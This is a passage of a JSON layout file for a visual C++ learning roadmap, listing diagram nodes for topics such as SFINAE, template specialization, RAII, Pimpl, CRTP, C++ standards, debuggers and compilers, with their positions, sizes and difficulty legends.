     },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Type Traits\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Advanced Topics / Pick Later\",\n          \"color\": \"#000000\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 172,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 466.39833855329164,\n        \"y\": 1417.117522069225\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3C5UfejDX-1Z8ZF6C53xD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 642.3983385532916,\n        \"y\": 1417.117522069225\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SFINAE\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Advanced Topics / Pick Later\",\n          \"color\": \"#000000\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 642.3983385532916,\n        \"y\": 1417.117522069225\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"6hTcmJwNnQstbWWzNCfTe\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 478.39833855329164,\n        \"y\": 1529.9677661061605\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Full Template Specialization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1NYJtbdcdOB4-vIrnq4yX\",\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 478.39833855329164,\n        \"y\": 1529.9677661061605\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1NYJtbdcdOB4-vIrnq4yX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 477.39833855329164,\n        \"y\": 1582.9677661061605\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Partial Template Specialization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 281,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 477.39833855329164,\n        \"y\": 1582.9677661061605\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 281,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fb3bnfKXjSIjPAk4b95lg\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 526.0040411704451,\n        \"y\": 2041.110352538959\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Idioms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qmHs6_BzND_xpMmls5YUH\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 161,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 161,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 526.0040411704451,\n        \"y\": 2041.110352538959\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xjUaIp8gGxkN-cp8emJ2M\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 446.00404117044513,\n        \"y\": 2138.738988313017\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Non-Copyable / Non-Moveable\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 321,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 321,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 446.00404117044513,\n        \"y\": 2138.738988313017\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 321,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YvmjrZSAOmjhVPo05MJqN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 446.00404117044513,\n        \"y\": 2191.738988313017\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Erase-Remove\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 321,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 321,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 446.00404117044513,\n        \"y\": 2191.738988313017\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 321,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lxAzI42jQdaofzQ5MXebG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 446.00404117044513,\n        \"y\": 2244.738988313017\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Copy and Swap\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 163,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 163,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 446.00404117044513,\n        \"y\": 2244.738988313017\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 163,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O2Du5gHHxFxAI2u5uO8wu\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 612.0040411704451,\n        \"y\": 2244.738988313017\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Copy on Write\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 612.0040411704451,\n        \"y\": 2244.738988313017\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OmHDlLxCnH8RDdu5vx9fl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 446.833180361922,\n        \"y\": 2298.6609277564776\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RAII\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 446.833180361922,\n        \"y\": 2298.6609277564776\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MEoWt8NKjPLVTeGgYf3cR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 550.333180361922,\n        \"y\": 2298.6609277564776\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pimpl\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 110,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 110,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 550.333180361922,\n        \"y\": 2298.6609277564776\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 110,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ttt-yeIi4BPWrgvW324W7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 665.0040411704451,\n        \"y\": 2298.6609277564776\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CRTP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 665.0040411704451,\n        \"y\": 2298.6609277564776\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vvE1aUsWbF1OFcmMUHbJa\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 227.76444711909286,\n        \"y\": 2041.110352538959\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Standards\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"qmHs6_BzND_xpMmls5YUH\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 227.76444711909286,\n        \"y\": 2041.110352538959\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"T6rCTv9Dxkm-tEA-l9XEv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 227.76444711909286,\n        \"y\": 1939.0246296702257\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"C++ 11 / 14\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 227.76444711909286,\n        \"y\": 1939.0246296702257\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"R2-qWGUxsTOeSHRuUzhd2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 227.76444711909286,\n        \"y\": 2136.9142315942822\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"C++ 17\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 227.76444711909286,\n        \"y\": 2136.9142315942822\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"o3no4a5_iMFzEAGs56-BJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 227.76444711909286,\n        \"y\": 2189.9142315942822\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"C++ 20\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"sRAiZODQQ8xrMiVpCdnI7\",\n          \"label\": \"Intermediate Topics / Pick Next\",\n          \"color\": \"#2b78e4\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 227.76444711909286,\n        \"y\": 2189.9142315942822\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sxbbKtg7kMNbkx7fXhjR9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 227.76444711909286,\n        \"y\": 2242.9142315942822\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Newest\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"zgW3oGPdbclWTlKJdidiB\",\n          \"label\": \"Advanced Topics / Pick Later\",\n          \"color\": \"#000000\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 227.76444711909286,\n        \"y\": 2242.9142315942822\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PPg0V5EzGBeJsysg1215V\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 227.76444711909286,\n        \"y\": 2295.9142315942822\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"C++ 0x\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 227.76444711909286,\n        \"y\": 2295.9142315942822\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qmHs6_BzND_xpMmls5YUH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -286.929978402122,\n        \"y\": 2041.110352538959\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Debuggers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.929978402122,\n        \"y\": 2041.110352538959\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Kb2Pbz0Sq7YlO1vCwYxnX\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": -39.10970787732015,\n        \"y\": 2041.110352538959\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Language Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 169,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 169,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -39.10970787732015,\n        \"y\": 2041.110352538959\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 169,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VtPb8-AJKzhTB0QbMtoU4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -288.0831925975956,\n        \"y\": 1934.0246296702257\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Understanding Debugger Messages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 329,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -288.0831925975956,\n        \"y\": 1934.0246296702257\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 329,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sR_FxGZHoMCV9Iv7z2_SX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -288.0831925975956,\n        \"y\": 1880.9389202464117\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Debugging Symbols\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 329,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 329,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -288.0831925975956,\n        \"y\": 1880.9389202464117\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 329,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"y8VCbGDUco9bzGRfIBD8R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -288.0831925975956,\n        \"y\": 1826.1637109984486\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"WinDBg\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 177,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 177,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -288.0831925975956,\n        \"y\": 1826.1637109984486\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 177,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BmWsoL9c_Aag5nVlMsKm2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -106.91368596678642,\n        \"y\": 1825.2532448559004\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -106.91368596678642,\n        \"y\": 1825.2532448559004\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FTMHsUiE8isD_OVZr62Xc\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -286.929978402122,\n        \"y\": 2165.7752999047043\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Compilers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"h29eJG1hWHa7vMhSqtfV2\",\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 154,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -286.929978402122,\n        \"y\": 2165.7752999047043\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DVckzBUMgk_lWThVkLyAT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -38.85702534893973,\n        \"y\": 2138.927677033192\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Compiler Stages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"FURC-X3vopFKhZ0F5BdYH\",\n          \"color\": \"#6d7500\",\n          \"label\": \"Beginner Topics / Start here\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 236,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -38.85702534893973,\n        \"y\": 2138.927677033192\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hSG6Aux39X0cXi6ADy2al\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -38.85702534893973,\n        \"y\": 2191.927677033192\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Compilers and Features\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"WbquXSrbKyKZuwVeLZfnw\",\n          \"label\": \"Optional / Learn if you want\",\n          \"color\": \"#999999\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 236,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 236,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -38.85702534893973,\n        \"y\": 2191.927677033192\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 236,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hurj4ktZD6sDbMg7lz3Dn\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -15.825412667929704,\n        \"y\": 2248.415195613617\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"C/lang++ / LLVM\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 152,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -15.825412667929704,\n        \"y\": 2248.415195613617\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 152,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"hVi9vzLaVfcXhhd7m8-ei\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -15.825412667929704,\n        \"y\": 2285.415195613617\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Intel C++\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 90,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -15.825412667929704,\n        \"y\": 2285.415195613617\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"7byy5GiTl4SPpVN39UFbC\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -15.825412667929704,\n        \"y\": 2322.415195613617\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MSVS C++\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 102,\n      \"height\": 36,\n      \"style\": {},\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -15.825412667929704,\n        \"y\": 2322.415195613617\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"2oTFuzQ6j0AmdAc9U_UwQ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 